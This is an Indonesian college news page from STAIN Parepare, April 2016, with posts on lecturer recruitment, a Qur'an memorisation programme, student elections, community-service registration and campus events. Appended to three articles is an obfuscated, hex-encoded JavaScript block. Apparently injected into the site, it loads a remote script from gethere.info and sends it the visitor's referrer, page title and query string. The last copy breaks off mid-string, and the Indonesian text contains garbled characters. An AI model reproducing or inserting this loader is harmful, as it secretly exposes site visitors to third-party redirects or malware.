Rabu, 27 April 2016

Pengumuman Perpanjangan Penerimaan Dosen Tetap Non-PNS

STAIN PAREPARE - Penerimaan Dosen Tetap Non-PNS ASN Kementerian Agama Untuk penempatan STAIN Parepare , diperpanjang sampai tanggal 29 April 2016, perpanjangan tersebut berdasarkan pertimbangan Pimpinan Ketua STAIN Parepare DR. Ahmad Sultra Rustan, M.Si  beserta Panitia Penerimaan  Dosen Tetap Non-PNS ASN yang di ketuai Oleh Dr. H. Sudirman. L , MH.
berikut pengumuman resminya :

IMG_0001

IMG_0002

 

Aktif Kuliah Sambil Menghafal Al-Qura��an

STAIN Parepare-Banyak kegiatan ekstrakurikuler yang dapat menambah serta mengembangkan ilmu pengetahuan diluar pendidikan formal, seperti yang dilakukan mahasiswa-mahasiswi STAIN Parepare, khususnya yang tinggal di asrama dengan belajar mengaji, menghafal Al-Qura��an (Tahfidz), muhadharah, serta beberapa kegiatan ekstrakurikuler lainnya.

Saat ini pula sebanyak 29 mahasiswa-mahasiswi asrama STAIN Parepare, menghafal Al-Qura��an di bawa bimbingan Pusat Pengembangan Sumber Daya Insani yang Handal (PASIH), baru-baru ini malaksanakan ujian atau test hafalan. Dalam proses ujian pengurus PASIH membuat metode baru yang digunakan pada ujian tersebut, yang dulu ujiannya hanya membaca Al-Qura��an dan diperdengarkan pada penguji tanpa melihat test, sekarang metodenya dikemas seperti kegiatan lomba, dengan peserta didik disuruh untuk menyambung ayat Qura��an. Jadi, salah satu pembina membacakan ayat, kemudian peserta disuruh untuk menyambung ayat tersebut. dan ternyata metode ini lebih efektif dibandingkan dengan metode sebelumnya, karena dengan metode ini banyak peserta tahfidz yang memiliki kemajuan hafalan Qura��annya.

a�?Dengan metode atau cara menghafal Al-Qura��an seperti ini, lebih efektif dan lebih banyak dampak positifnya terhadap peserta. Karena dengan metode ini, mental kita lebih teruji untuk bisa tampil di depan umum, baik pada acara lomba, maupun pada acara lain dalam lingkungan kita,a�? Ujar salah satu peserta didik.

Ujian dilakukan dua kali dalam sebulan, sehingga mahasiswa-mahasiswi yang tinggal di asrama setiap harinya harus memperbanyak serta mempermantap hafalan Al-Qura��annya. Karena bagi mahasiswa-mahasiswi yang mampu mengahafal Al-Qura��an, mulai dari 5-30 juz akan mendapat subsidi atau penghargaan berupa biaya semester atau SPP, akan di tanggung oleh pihak kampus sesuai dengan jumlah juz yang dihafal oleh mahasiswa. Jika mahasiswa hanya mampu menghafal 5 juz maka biaya SPP satu semerter akan ditanggung oleh pihak kampus, begitu juga mahasiswa yang mampu menghafal sampai 30 juz seluruh biaya SPP akan ditanggung oleh pihak kampus selama delapan semester.

Adapun indikator penilaian dalam ujian ini ada tiga bagian, pertama lulus dengan beberapa komponen penilaian yakni peserta mampu menyambung ayat, bacaan langcar, bacaan bertajwid/tartil. Kedua Lulus bersyarat ketika peserta tidak mampu memenuhi salah satu indikator penilaian lulus, dan ketiga tidak lulus jika peserta tidak mampu memenuhi semua indikator penilaian.

a�?Sebagai pembina kami harapkan dari pihak pimpinan agar lebih memerhatikan para tahfidz ini karena ini merupakan insan yang memiliki bakat khusus karena tidak semua mahasiswa mampu seperti mereka ini, sambil kuliah aktif juga menghafal, dan bahkan ada beberapa mahasiswa yang memang mulai dari nol. Ini beda dengan beberapa kampus atau lembaga yang juga membina penghafal Qura��an, mereka hanya dituntut untuk mengahafal Al-Qura��an saja tidak ada aktifitas yang lain, itupun orang yang sudah punya dasar hafalan Qura��an yang dibina kembali dan dipermantap,a�? Kata salah satu pengurus pasih.

Tahfidzul Qura��an merupakan salah satu program Pusat Pengembangan Sumber Daya Insani yang Handal (PASIH) untuk mahasiswa(i) asrama STAIN Parepare. Selain program tahfidzul qura��an ada juga beberapa program lain seperti pembinaan mengaji dalam hal ini tajwid, tilawah, muhadharah, disesuaikan dengan bakat dan kemampuan mahasiswa(i), yang tinggal di asrama, jadi tahfidzul qura��an ini tidak wajib bagi semua mahasiswa penghuni asrama.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Senin, 25 April 2016

KSR Gelar Aksi Sosial

STAIN PAREPARE - Korps Suka Rela (KSR) PMI Unit 01 STAIN Parepare menggelar Aksi Sosial (AKSOS), Minggu 24 April 2016. Kegiatan kemanusiaan tersebut dilakukan dengan memberikan bantuan kepada panti asuhan Muthmainnah dan 5 kepala keluarga di Lanyer. Baik berupa uang, sembako maupun pakaian.


Sebelumnya anggota KSR telah melakukan survey dan dari 130 kepala keluarga hanya 5 yang layak untuk diberikan bantuan serta satu panti dengan asuhan 35 orang yaitu panti asuhan Muthmainnah. Bantuan yang diberikan berasal dari konstribusi para anggota KSR, mahasiswa dan dosen STAIN Parepare serta ada pula dari luar STAIN Parepare. 

Kegiatan tersebut dilaksanakan karena niat yang tulus dari anggota KSR untuk membantu yang kurang mampu dan sebagai alat penyalur untuk memberikan bantuan. "Tentunya niat dari dalam, pertama untuk membantu atau menolong dengan memberikan sumbangan. Selain itu sebagai wadah teman-teman dari kampus maupun luar kampus yang mau menyalurkan bantuan namun tidak ada jembatan makanya kami disini menjembatani sekaligus juga memberikan bantuan". Jelas Komandan KSR, Fachry.

Kegiatan tersebut diikuti oleh para fungsioner lembaga kemahasiswaan STAIN Parepare, Animasi, Mispala, Resimen Mahasiswa, LDM Al-Madani. Salah satu perwakilan lembaga kemahasiswaan Animasi menyatakan sangat mendukung kegiatan yang diselenggarakan oleh KSR dan sebagai mahasiswa sudah sepatutnya melakukan kegiatan seperti itu. 

"Kegiatan yang sangat bermanfaat bagi masyarakat, terutamanya kita sebagai mahasiswa yang akan kembali kepada masyarakat sudah harusnya melakukan kegiatan seperti ini. Karena begitulah manusia saling membantu kita harus memberikan sumbangsih yang membutuhkan pertolongan kita", ungkap Supriadi anggota Animasi.

Pengurus panti asuhan Muthmainnah yang terletak di jalan Melingkar Soreang memberikan respon positif dan sangat mendukung. Ia berharap kegiatan kemanusiaan tersebut lebih ditingkatkan agar masyarakat tahu bahwa kegiatan yang dilakukan KSR-PMI STAIN Parepare penuh dengan rasa kemanusiaan.
Komandan KSR, Fachri berharap agar kegiatan tersebut dapat berlanjut terus secara turun temurun dan bantuan yang diberikan lebih besar lagi.

Jumat, 22 April 2016

Perpusatakaan STAIN Parepare Gelar Bedah Buku

STAIN PAREPARE-Di tengah hiruk pikuk aktivitas dikampus perpustakaan STAIN Parepare menggelar BEDAH BUKU dalam empat karya, Intruduction to linguistics karya Abdul Haris Sunubi, M. Pd., Dinamika Pemikiran Ulama Dalam Rana Pembaruan, karya Dr.Rahmawati M. Ag., The Rabbani Management Style, karya Dr. Anwar Sewang M. Ag., dan karya Dr. Muhammad Qadaruddin, M. Sos. I, dengan judul Kepemimpinan Politik Prespektif Komunikasi.

Bedah buku ini dilaksanakan di Aula STAIN Parepare mulai tanggal 18-21 April 2016  yang dihadiri oleh puluhan mahasiswa dan dosen STAIN Parepare.

Wakil ketua I Muh Djunaedi M. Ag., dalam sambutanya mengatakan bahwa buku adalah jendela dunia karena buku kita dapat mengetahui berbagai hal serta berbagai ilmu pengetahuan yang akan mampu membuat kita lebih pintar dan memiliki wawasan yang luas dan buku merupakan alat untuk mentransfer tacit knowledge menjadi eksplisit knowledge sehingga memudahkan dalam penyebran ilmu pengetahuan. Namun dalam proses pemahamanya, dibutuhkan upaya penalaran yang tepat dan kritis. Dan salah satu cara untuk memahami buku secara lebih detail, tepat dan kritis adalah dengan mengadakan kegiatan atau yang sering disebut dengan Resensi Buku.

Dengan adanya bedah buku yang dilaksanakan secara rutine oleh Unit Perpustakaan STAIN Parepare setiap tahun dengan memberikan kesempatan, ruang dan waktu untuk para akademisi di lingkungan STAIN Parepare yang memiliki karya tulis ilmiah berupa buku untuk turut serta dalam kegiatan  tersebut baik sebagai pengarang/penyusun maupun sebagai pembedah buku. Bedah Buku tersebut merupakan momentum yang tepat bagi kalangan akademisi untuk bisa memberikan pandangan ilmiah serta berbagai pendapat kritis.

Kegiatan Bedah Buku merupakan identitas bagi para akademika, sekaligus sebagai ajang riil untuk eksistensi sebuah komunitas akademik. Khusus untuk para mahasiswa kegiatan Bedah Buku merupakan suatu wahana yang tepat untuk mengasah serta mempertajam kemampuan berfikirnya dalam memahami ide-ide yang dipublikasikan ke publik. Bedah buku merupakan salah satu sarana untuk mengembangkan kekritisan bernalar mahasiswa sebagai AGEN OF CHANGE.

Kegiatan Bedah Buku bukan hanya bermanfaat untuk mengasah COGNITIF ABILITY terhadap POP CULTURE  yang sedikit mengeliminasi peran budaya kritis yang saat ini cenderung terjadi.

Kegiatan ini sebagai ajang transfer pengetahuan yang memliki efek domino yang positif bagi semua pinak yang terlibat didalamnya baik dosen sebagai akademisi maupun mahasiswa sebagai AGEN OF CHANGE dalam kehidupan pribadi maupun eksistensinya dalam masyarakat.
Bedah Buku merupakan identitas bagi para akademika, sekaligus sebagai ajang riil untuk eksistensi sebuah komunitas akademik dan bermanfaat untukl mengasah COGNITIF ABILITY terhadap POP CULTURE yang sedikit mengeliminasi peran budaya kritis yang saat ini cenderung terjadi.http://www.stainparepare.ac.id/2016/04/20/pertemuan-akademik-jurusan-syariah-dan-ekis/http://www.stainparepare.ac.id/2016/04/14/pengumuman-penerimaan-dosen-tetap-stain-parepare/http://www.stainparepare.ac.id/2016/04/08/pengumuman-kkn-tahun-2016/

Rabu, 20 April 2016

Pertemuan Akademik Jurusan Syariah dan EKIS

 

STAIN PAREPARE-Jurusan Syariah dan Ekonomi Islam (EKIS) mengadakan pertemuan akademik antara  Jurusan, Prodi dan Ketua rombel. Pertemuan ini diadakan di ruang seminar jurusan syariah dan Ekonomi Islam yag membahas tentang problematika perkuliahan Jurusan Syariah dan Ekonomi Islam.

Pertemuan ini dipimpin oleh Ketua Jurusan Syariah dan Ekonomi Islam, Budiman M, HI, dan Sekertaris Jurusan  Syariah dan Ekonomi Islam, Dr. Fikri S.Ag., M.HI,  ini membahas tentang sejumlah poin penting diantaranya : Keterlambatan dosen pengajar, pengambilan berita acara yang ganda dalam satu  pertemuan, ketidaknyamanan belajar karena panas, ketidaksamaan silabus antara mata kuliah yang sama tetapi dosen yang tidak sama dan berbagai keluhan lainnya.

Dalam pertemuan ini menghasilkan beberapa kebijakan-kebijakan dari Ketua Jurusan syariah dan Ekonomi Islam salah satunya, bahwa Ketua Rombel harus memiliki rasa komunikasi yang kuat dan menjalin kerja sama dengan Jurusan,  dosen dan mahasiswa “karena Ketua Rombel adalah ibarat sebuah kabel (penghubung) antara jurusan, dosen dan mahasiswa” agar keluhan ataupun kekurangan dan masalah dalam pembelajaran dapat cepat diketahui oleh pihak jurusan dan cepat diatasi sehingga pembelajaran berjalan lancar dan baik, . Ucap Ketua Jurusan Syariah

Diharapkan selain sebagai ajang tatap muka dan silatuhrahmi antarjurusan, Prodi dan Ketua Rombel serta penyelasaian permasalahan yang ada dan pemberian tanggung jawab kepada Ketua-ketua Rombel Jurusan Syariah dan Ekonomi Islam sebagai penyambung yang baik dan jujur dan diharapkan pula agar pertemuan ini diadakan rutin setiap awal semester. Tidak lain tujuan akhirnya adalah agar kekuatan Jurusan Syariah dan Ekonomi Islam lebih solid sehingga dapat memberikan manfaat yang lebih besar untuk seluruh civitas akademik dan linkungan sekitar.
Ketua Rombel  (kabel ) adalah penghubung antarjurusan Dosen dan Mahasiswa

 

Kamis, 14 April 2016

Pengumuman Penerimaan Dosen Tetap STAIN Parepare

Sekolah Tinggi Agama Islam Negeri Parepare menerima pendaftaran Dosen Tetap Bukan Pegawai Negeri Sipil mulai pada tanggal 13 sampai dengan tanggal 22 April 2016.
Format filenya lengkapnya dapat didownload di  Form Pendaftaran DOSEN Tetap PPPK

contoh amplop







 



 

 



 

 

 



 



 



 



 



 







Rabu, 13 April 2016

Komisi Pemilihan Umum Mahasiswa STAIN Parepare

STAIN Parepare- Pemilihan umum presiden dan wakil presiden mahasiswa (PRESMA), serta ketiga calon Ketua Himpunan Mahasiswa Jurusan (HMJ) dari masing-masing Jurusan, baik Jurusan Tarbiyah dan Adab, Jurusan Syariah dan Ekonomi Islam, Jurusan Dakwah dan Komunikasi, atau biasa disebut dengan Pemilihan Mahasiswa Raya (PEMIRA) untuk masa bakti 2016-2017. Akan dilaksanakan pada tanggal 25 april 2016, oleh Komisi Pemilihan Umum Mahasiswa (KPUM) Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare.

Pemilihan umum ini diikuti dua pasangan calon baik dari calon Presiden dan Wakil Presiden Mahasiswa maupun calon HMJ, yang ditetapkan pada tanggal 30 Maret 2016 oleh Komisi Pemilihan Umum Mahasiswa (KPUM), saat penyeleksian berkas sudah rampung, serta melakukan pengundian nomor urut calon pada tanggal 31 Maret 2016.

Sebelum pemilihan umum legislatif dimulai terlebih dahulu KPUM memberikan kesempatan kepada semua calon baik untuk calon Presiden dan Wakil Presiden serta masing-masing calon Ketua HMJ, melakukan kampanye guna untuk mendapatkan dukungan atau suara dari mahasiswa-mahasiswi STAIN Parepare, agar calon bisa terpilih menjadi pemegang tongkat stafet kepemimpian selama satu tahun kedepan.

Adapun masa kampanye yang diberikan oleh KPUM terhadap masing-masing calon beserta partai yang memiliki delegasi dalam pemilihan umum selama empat hari mulai dari tanggal 11 hingga 14 april 2016. Pada proses kampanye ini masing-masing pasangan calon dan partai diberikan waktu selama dua hari, dimana pada kampanye pertama dilakukan Partai Reformasi Mahasiswa (PARMA) yang membawa masing-masing calon baik dari calon Presiden dan Wakil Presiden Mahasiswa maupun dari calon Ketua HMJ, yang dimulai pada tanggal 11-12 april 2016. Sedangkan pada tanggal 13-14 april 2016 kampanye dilakukan oleh Partai Damai Mahasiswa (PDM) yang berkoalisi dengan Partai Kebangkitan Mahasiswa (PKM) yang membawa pasangan calon Presiden dan Wakil Presiden Mahasiswa serta calon Ketua HMJ STAIN Parepare.

Dalam masa kampanye semua calon harus memperhatikan aturan, mekanisme, larangan hingga sanksi yang sudah ditentukan oleh KPUM selama dalam proses kampanye berlangsung. Adapun yang menjadi kandidat calon PRESMA dan HMJ dari tiga Partai yang berkompetisi dalam pemilihan ini yakni:





















NONAMA CALON PRESMA dan WAPRESMA

NO. URUT



PARTAI



1


Abd. Rajab & Mawardi Hudawi

01



PARMA



2


Irfan Parumpu & Hadi Arif

02



PDM & PKM



 










































NO



NAMA CALON KETUA dan WAKIL HMJ



NO. URUT



HMJ



PARTAI



1


Muflih Muhtaran & Arifa Apriani

-



Tarbiyah dan Adab



PDM & PKM



2


Muh. Alim Pasih & Arafah

01



Syariah dan Ekonomi Islam



PDM & PKM


Sudarman & Muh. Zainal

02



PARMA


 

3


Sri Resky Yulianti & Erny Rusdin

01


 

Dakwah dan Komunikasi


 

PARMA


Ahmad Muarif & Ayu Afrianti

02



PDM & PKM


var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Kamis, 07 April 2016

Pengumuman KKN Tahun 2016

STAIN PAREPARE – Dalam rangka pelaksanaan program kuliah kerja nyata (KKN) mahasiswa Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare angkatan XX tahun 2016, maka disampaikan kepada mahasiswa calon peserta bahwa:

1. Pendaftaran dan pengisian formulir melalui sisfo kampus dan menggunakan account masing-masing.

2. Calon peserta telah lulus minimal 110 SKS

3. Petunjuk pendaftaran dapat dilihat di website resmi STAIN Parepare di alamat  www.stainparepare.ac.id

atau dapat dilihat di jurusan masing-masing.

4. Menyetor :

a. Kelayakan KKN dari jurusan masing-masing;

b. Fotocopy bukti pembayaran  SPP semester berjalan dan bukti pembayaran KKN Angkatan XX;

c. Pembayaran KKN dilakukan  setelah mendapatkan surat kelayakan dari ketua jurusan;

d.  Pas foto berukuran 3X4 (1 lembar)

-Latar biru untuk laki-laki

-Latar merah untuk perempuan

e. Berkas dimasukkan dalam map plastik warna biru untuk laki-laki dan warna  merah untuk

perempuan dan diserahkan pada panitia di sekretariat panitia  kantor P3M;

f. Berkas asli dibawa dan diperlihatkan pada panitia setelah melakukan pendaftaran melalui

sisfokampus untuk diverifikasi.

5. Jadwal kegiatan :

a. Pendaftaran                 : 1 s.d 30 April 2016

b. Pembekalan                 : 21, 22, 28 dan 29 Mei 2016

c. Pemberangkatan         : 11 Juli 2016

d. Kegiatan dan Lokasi  : 12 Juli s.d 24 Agustus 2016

e. Penarikan                      : 25 Agustus 2016

Demikian Pengumuman ini sampaikan untuk mendapatkan perhatian

 

 

 

Selasa, 05 April 2016

Training Of Trainer Sistem LPSE Versi 4

STAIN PAREPARE – Tim LPSE  STAIN Parepare, yang terbentuk sejak tahun 2010 dan dikoordinir oleh UPT TIPD  STAIN Parepare menjadi salah satu peserta Training Of Trainer Manajemen training LPSE ( Layanan Pengadaan Secara Elektronik ) yang dilaksanakan oleh Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah ( LKPP ) di Jakarta pada tanggal  5 sampai 7 April 2016. Kegiatan ini dikemas dalam bentuk Workshop dan Management Training LPSE SPSE Versi 4,SIKaP, E-Kontrak Non E-Tendering, E- Lelang Cepat dan E-Purchasing Versi 3 dalam rangka memantapkan pengelolaan sistem pengadaan barang/jasa secara elektronik (eProcurement).
Kegiatan ini dihadiri oleh  38 peserta  dari  Kementerian , Lembaga, Daerah dan Instansi Lainnya ( K/L/D/I ) dari seluruh indonesia. Selama tiga hari peserta yang berasal dari unsur LPSE tersebut akan memperoleh materi dari fasilitator terkait LPSE seperti informasi aplikasi terbaru , perubahan sistem dan versi, penambahan fungsionalitas dan fitur serta penggunaannya. Tidak hanya itu peserta juga dibekali dengan regulasi yang juga terkait dengan sistem eprocurement itu sendiri, mengingat eprocurement adalah produk dari regulasi dan diharapkan dapat mengawal berjalannya regulasi seperti yang diharapkan semua pihak.
Fokus dari workshop ini adalah penguatan penetrasi SPSE versi 4 . Meskipun SPSE versi ini masih dalam tahap sosialisasi dan  migrasi bertahap dari versi sebelumnya, tetapi dimasa yang akan datang semua LPSE  akan diwajibkan beralih ke versi lawas ini. SPSE vesi 4 adalah penyempurnaan versi sebelumnya, ada banyak penambahan fungsionalitas , beberapa proses dipangkas dan diotomasi ole sistem untuk memudahkan tim pokja dalam tugasnya. Satu hal menarik adalah desain arsitekturnya yang memungkinkan interaksi dengan sistem aplikasi lain diluar LKPP, sehingga melalui sistem ini  semua proses dan data transaksi keuangan mulai hulu/perencanaan sampai hilir/monev bisa terintegrasi dalam suata datawarehouse u/ menjamin kualitas data dan informasi transaksi, serta bisa diakses secara realtime. Aplikasi lainnya yang terus menerus dikembangkan dan di sosialisasikan oleh LKPP adalah , Sistem Informasi Kinerja Penyedia (SIKaP) atau Vendor Management System yang diperuntukkan bagi penyedia atau rekanan yang ingin mengikuti eprocurement, sistem ini menyempurnakan kelemahan pada versi sebelumnya yg selama ini merupakan bagian dari LPSE. Selain itu e-kontrak, e-tendering cepat dan e-purchasing atau e-katalog yang bisa memangkas proses pengadaan dengan sangat signifikan.


 

Sabtu, 02 April 2016

Kuliah Tamu Pascasarjana Oleh Kasubdit Pengembangan Akademik dan Kemahasiswaan Diktis Kemenag Ri

STAIN PAREPARE – Program Pascasarjana STAIN Parepare menggelar kuliah tamu dengan materi Kontestasi Islam Indonesia Dalam Menyongsong MEA yang dibawakan oleh Kasubdit Pengembangan Akademik dan Kemahasiswaan, Dr. Muhammad Zein, M.Ag di Gedung Laboratorium Lantai 3 STAIN Parepare, Sabtu 02/04/16. Kegiatan tersebut dihadiri oleh Direktur Pascasarjana, Ketua STAIN Parepare, Wakil Ketua I, Wakil Ketua II, Ketua Jurusan Dakwah dan Komunikasi, Kepala Bagian AUAKA, beberapa dosen dan pegawai STAIN Parepare.

Sebelum menyampaikan materinya, beliau menyampaikan gambaran-gambaran kuliah di pascasarjana, ia menyampaikan bahwa mahasiswa pascasarjana itu sudah critical analitic (kritik analitis). Mahasiswa harus berbeda dari dosennya. Mahasiswa pasca bukan lagi belajar materi tapi metodologi. Bukan hanya ilmu tapi metologi.

Dalam materinya, Dr. Muhammad Zein menjelaskan pengertian kontestasi yang merupakan kontes atau ajang merebut pengaruh. Islam Indonesia saat ini sudah berada dalam kontes pengaruh masyarakat, ide-ide dan nilai-nilai dalam Islam. Jadi prodi-prodi yang dibuka harus mampu menarik pengaruh.

Selain itu beliau memperlihatkan beberapa foto gedung di negara-negara Islam seperti Arab dan Persia untuk memahami kontes Islam dan kaya perspektif dalam agama. Dalam salah satu fotonya, Jembatan Siuse Pool di Isfahan Persia yang merupakan Cagar Budaya Internasional UNESCO dimana tiangnya berjumlah 33 sama jumlahnya dengan tasbih, dengan itu beliau mendorong rektor-rektor membangun arsitektur Islam, Mushollah sebagai ikon bangunan.

Kontestasi Islam dan kaitannya dengan MEA, ia gambarkan melalui tingginya jumlah PHK. Dengan masuknya MEA, sebanyak 14 negara bebas masuk di Indonesia sehingga jumlah PHK meningkat. Dengan itu, Kasubdit Pengembangan Akademik dan Kemahasiswaan senang dengan adanya pascasarjana di STAIN Parepare karena menurutnya S1 tidak mampu bersaing seiring dengan perkembangan MEA.

Sebelum mengakhiri materinya, beliau menyampaikan pesan-pesan kepada mahasiswa pascasarjana untuk lebih banyak berdiskusi, membaca buku dan mengunjungi perpustakaan.

Jumat, 01 April 2016

PEMBUKAAN MUSYAWARAH BESAR (MUBES) MISPALA COSMOSENTRIS

STAIN Parepare-salah satu lembaga kemahasiswaan STAIN Parepare dalam hal ini Mahasiswa Islam Pencinta Alam (MISPALA) Cosmosentris STAIN Parepare, melaksanakan Musyawarah Besar (MUBES) ke XVI dengan mengusung tema a�?Berfikir Keras, Bertindak Cerdas Untuk Perubahana�?, yang dilaksanakan di AULA STAIN Parepare. juma��at, 01 April 2016.

Dalam pembukaan acara tersebut telah hadir beberapa perwakilan dari lembaga lain dalam kampus, dan juga dihadiri Pembina harian mispala cosmosentris Dr. Firman, M.Pd, didampingi ketua umum Muh. Taufik dan ketua panitia Yogi Eka Cakra pada acara (MUBES) mispala cosmosentris STAIN Parepare.

Muh. Taufik selaku ketua umum Mispala Cosmosentris menyampaikan beberapa hal penting saat membawakan sambutan pada acara pembukaan tersebut. Mengatakan bahwa untuk menjadi seorang pemimpin tidaklah mudah, menjadi seorang pemimpin harus menjunjung tinggi yang namanya kejujuran, pemimpin harus mempunyai intelektual tinggi serta memegang teguh keberanian.

Pada pembukaan acara ini pembina harian mispala cosmosentris, juga berkesempatan membawakan sambutan. dalam sambutan tersebut beliau menyampaikan beberapa wejangan kepada mahasiswa tekhusus pada mahasiswa yang sempat hadir pada acara pembukaan tersebut. Bahwa terkadang kita berfikir tentang lembaga adalah suatu beban yang berat, namun kita tidak tahu bahwa rasa beban yang dialami pada saat kita dalam lembaga, akan menjadi modal besar kita rasakan ketika sudah dalam masyarakat dan dunia kerja, lembaga juga menjadi salah satu wadah untuk menambah wawasan, meningkatkan intelektual. Lembaga juga memiliki unsur-unsur pendidikan, jadi saya sampaikan pada mahasiswa jangan pernah menyerah dalam berorganisasi.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x